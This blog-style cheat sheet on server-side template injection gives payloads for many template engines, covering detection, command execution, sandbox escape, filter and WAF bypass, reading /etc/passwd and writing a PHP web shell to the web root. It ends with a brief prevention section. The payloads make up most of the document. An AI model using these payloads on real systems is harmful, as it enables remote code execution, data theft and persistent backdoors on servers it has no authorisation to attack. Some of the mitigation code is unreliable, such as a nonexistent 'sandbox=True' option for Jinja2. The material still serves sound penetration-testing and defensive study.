Post

SSTI (Server-Side Template Injection)

SSTI (Server-Side Template Injection)

Introduction

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded directly into a template in an unsafe manner. When a web application fails to properly sanitize user input before inserting it into a server-side template, attackers can inject malicious template directives that can lead to remote code execution (RCE), data leakage, and other security issues.

Common Vulnerable Template Engines

Template EngineLanguage/FrameworkExample Syntax
Jinja2/TwigPython/PHP{{ code }}, {% statement %}
FreemarkerJava${code}, <#directive>
VelocityJava#directive, $variable
HandlebarsJavaScript``
EJSJavaScript<%= code %>
JSPJava<%= code %>, <% code %>
ERBRuby<%= code %>, <% code %>
SmartyPHP{$variable}, {code}
MakoPython${expression}, <% code %>
Pug/JadeJavaScript#{expression}, =expression
ThymeleafJavath:text="${expression}"

Detection Techniques

Basic Detection Payloads

Test for mathematical operations to detect template injection points:

1
2
3
4
5
6
7
8
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Error-Based Detection

Sending invalid syntax to generate errors:

1
2
3
4
5
{{7*'7'}}
${foobar}
<%= undefined_variable %>

Detection by Template Engine

Jinja2/Twig (Python/PHP)

1
2
3
4
5
{{7*'7'}}     # Jinja2 will execute and return 49, Twig will error
{{config}}    # Jinja2 specific
{{dump()}}    # Twig specific

Freemarker (Java)

1
2
${7*7}
<#if 7*7==49>True</#if>

Velocity (Java)

1
2
#set($x = 7*7)${x}
#if(7*7==49)True#{end}

Handlebars (JavaScript)

1
2
3
4
{{#if (eq (math 7 "*" 7) 49)}}True{{/if}}
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |sp|}}{{#with "../../../lookup"}}{{#with (lookup (lookup (string.sub sp.0 7 8)) string.sub) as |safe|}}{{#with (lookup"constructor" safe.data)}}{{#with (safe.apply this undefined safe.data)}}{{#with (lookup"process" global)}}{{#with (jailbreak (lookup"mainModule" this))}}{{#with (jailbreak (this.require "child_process"))}}{{jailbreak (this.exec "id")}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}

EJS (JavaScript)

1
2
<%= 7*7 %>
<% if(7*7==49) { %>True<% } %>

ERB (Ruby)

1
2
<%= 7*7 %>
<% if 7*7==49 %>True<% end %>

Smarty (PHP)

1
2
{$smarty.version}
{php}echo 7*7;{/php}

Basic Exploitation by Template Engine

Jinja2/Twig (Python)

Basic Information Disclosure

1
2
3
4
5
6
7
8
{{ config }}
{{ config.items() }}
{{ self.__dict__ }}
{{ request }}
{{ request.environment }}
{{ url_for.__globals__ }}

Remote Code Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
# Access to Python built-ins
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Find a useful class for RCE
{{ ''.__class__.__mro__[1].__subclasses__()[<index of subprocess.Popen>]('id', shell=True, stdout=-1).communicate()[0].strip() }}

# Alternative using __import__
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# More direct approach with import
{% import os %}{{ os.popen('id').read() }}

Twig (PHP)

Basic Exploitation

1
2
3
4
5
{{_self.env.display("id")}}
{{_self.env.createTemplate("{{phpinfo()}}")}}
{{['id']|filter('system')}}

Freemarker (Java)

Information Disclosure

1
2
3
${object.class}
${object.getClass().getConstructor().newInstance()}
${object.getClass().getName()}

Remote Code Execution

1
2
3
4
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

# Executing commands via Java Runtime
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("id")}

Velocity (Java)

Remote Code Execution

1
2
3
4
5
6
#set($runtime = $class.getClassLoader().loadClass("java.lang.Runtime").getRuntime())
$runtime.exec("id")

#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($ex=$class.forName("java.lang.Runtime").getRuntime().exec("id"))

ERB (Ruby)

Remote Code Execution

1
2
3
4
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read() %>
<%= eval('`id`') %>

Handlebars (JavaScript)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{#with string.sub.apply conslist}}
        {{this}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

EJS (JavaScript)

1
2
3
<% global.process.mainModule.require('child_process').exec('id', function(error, stdout, stderr) { %>
  <%= stdout %>
<% }); %>

Smarty (PHP)

1
2
{php}system("id");{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id'); ?>",self::clearConfig())}

Advanced Exploitation Techniques

Jinja2 Filter Bypass Payloads

1
2
3
4
5
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

{{request|attr("__class__")|attr("__mro__")|attr("__getitem__")(1)|attr("__subclasses__")()|attr("__getitem__")(128)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("id")|attr("read")()}}

Sandbox Escape Techniques

Python Sandbox Escape

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen("id").read()}}
  {% endif %}
{% endfor %}

# Using namespace creation
{{ namespace.__init__.__globals__.os.popen('id').read() }}

# Using cycler object in Flask/Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}

# Using joiner object in Flask/Jinja2
{{ joiner.__init__.__globals__.os.popen('id').read() }}

Java Sandbox Escape

1
2
3
4
5
6
7
8
9
10
11
12
# For Freemarker
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign ownerClass=classloader.loadClass("freemarker.template.Configuration")>
<#assign field=ownerClass.getDeclaredField("_ObjectBuilderSettings")>
<#assign field.accessible=true>
<#assign object=field.get(null)>
<#assign constructor=object.class.getDeclaredConstructors()[0]>
<#assign constructor.accessible=true>
<#assign object=constructor.newInstance()>
<#assign method=object.class.getDeclaredMethods()[0]>
<#assign method.accessible=true>
<#assign result=method.invoke(object, "/bin/bash", "-c", "id")>

WAF Bypass Techniques

Character Encoding and Obfuscation

1
2
3
4
5
6
7
8
9
10
11
# URL Encoding
{{config.__class__.__init__.__globals__['os'].popen(request.args.get('cmd')).read()}}
// Encode 'os' as %6f%73 and other parts as needed

# Unicode Normalization
{{config.__class__.__init__.__globals__['\u006f\u0073'].popen("id").read()}}

# Hex Encoding
{{config.__class__.__init__.__globals__['\x6f\x73'].popen("id").read()}}

String Concatenation

1
2
3
4
5
6
7
8
9
10
# Jinja2
{{ config.__class__.__init__.__globals__['o'+'s'].popen('i'+'d').read() }}

# PHP/Smarty
{$smarty.block.child["__construct"]("file_get_contents",["php://filter/convert.base64-encode/resource=index.php"])}

# Freemarker
${"".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke("".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(null),"id")}

Alternative Syntax

1
2
3
4
5
6
7
8
# Jinja2
{% set cmd = 'import os; os.popen("id").read()' %}
{{ lipsum.__globals__.__builtins__.eval(cmd) }}

# Ruby ERB
<%= defined?(proc) ? proc { |n| eval(n) }.call('system("id")') : system("id") %>

File Read/Write Techniques

Reading Files

Jinja2/Python

1
2
3
4
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

PHP/Smarty/Twig

1
2
3
4
{include file='/etc/passwd'}
{{file_get_contents('/etc/passwd')}}

Java/Freemarker

1
${object.getClass().forName("java.io.FileReader").newInstance("/etc/passwd").toString()}

Writing Files

Jinja2/Python

1
2
3
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/shell.php', 'w').write('<?php system($_GET["cmd"]);?>') }}

PHP/Smarty/Twig

1
2
3
{$smarty.template_object->smarty->registerResource('file',
array('resource_open'=>function($path){return fopen($path,'w');},'resource_get'=>function($fp){fwrite($fp,'<?php system($_GET["cmd"]);?>');return true;}))}
{extends file='../../../var/www/html/shell.php'}

Java/Freemarker

1
2
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("echo '<?php system($_GET[\"cmd\"]);?>' > /var/www/html/shell.php")}

Impact of SSTI Vulnerabilities

  1. Remote Code Execution (RCE) - Execute arbitrary system commands
  2. Information Disclosure - Leak sensitive configuration, environment variables, etc.
  3. File System Access - Read/write files on the server
  4. Server-Side Request Forgery (SSRF) - Make requests from the server to internal resources
  5. Denial of Service (DoS) - Crash the application or degrade performance

Prevention and Mitigation

General Best Practices

  1. Use Template Engine Features Safely
    • Use sandboxed environments/configurations
    • Disable dangerous features (autoescape=True in Jinja2)
    • Use strict contextual escaping
  2. User Input Handling
    • Never pass user input directly to template engines
    • Implement context-specific encoding/escaping
    • Validate user input against whitelist patterns
  3. Implement Security Headers
    • Content-Security-Policy (CSP)
    • X-Content-Type-Options: nosniff
  4. Template Engine Configuration
    1
    2
    3
    4
    5
    6
    
    # Secure Jinja2 configuration
    jinja2_env = jinja2.Environment(
        autoescape=True,
        sandbox=True,
        cache_size=0
    )
    

Specific Recommendations by Template Engine

Jinja2 (Python)

1
2
3
4
5
6
7
8
9
10
11
# Use auto-escaping
env = jinja2.Environment(autoescape=True)
template = env.from_string(user_template)

# Use a sandbox
env = SandboxedEnvironment()

# Avoid letting users control the template structure entirely
# Instead, use placeholders in your own templates
safe_template = "Hello, !"
result = env.from_string(safe_template).render(name=user_input)

Twig (PHP)

1
2
3
4
5
6
7
8
9
10
11
// Use a sandboxed environment
$twig = new \Twig\Environment($loader);
$policy = new \Twig\Sandbox\SecurityPolicy(
    ['Math'], // Allowed tags
    [], // Allowed filters
    [], // Allowed methods
    [], // Allowed properties
    [] // Allowed functions
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

Freemarker (Java)

1
2
3
4
5
6
// Restrict template access
Configuration cfg = new Configuration();
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
cfg.setLogTemplateExceptions(false);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setObjectWrapper(new SimpleObjectWrapper());

Common Security Misconfigurations

  1. Debug modes enabled in production
    • Can leak sensitive information via error messages
  2. Overly permissive template contexts
    • Avoid exposing global objects/context unnecessarily
  3. Lack of input validation
    • Validate user input before processing in templates
  4. Disabled auto-escaping features
    • Keep auto-escaping enabled for all user inputs

SSTI Testing Tools

  1. Tplmap - Automatic Server-Side Template Injection Detection and Exploitation Tool
    • https://github.com/epinna/tplmap
  2. Burp Suite Extensions
    • J2EE Scan
    • Backslash Powered Scanner
    • SSTI Scanner
  3. PayloadsAllTheThings - SSTI Collection
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

References

This post is licensed under CC BY 4.0 by the author.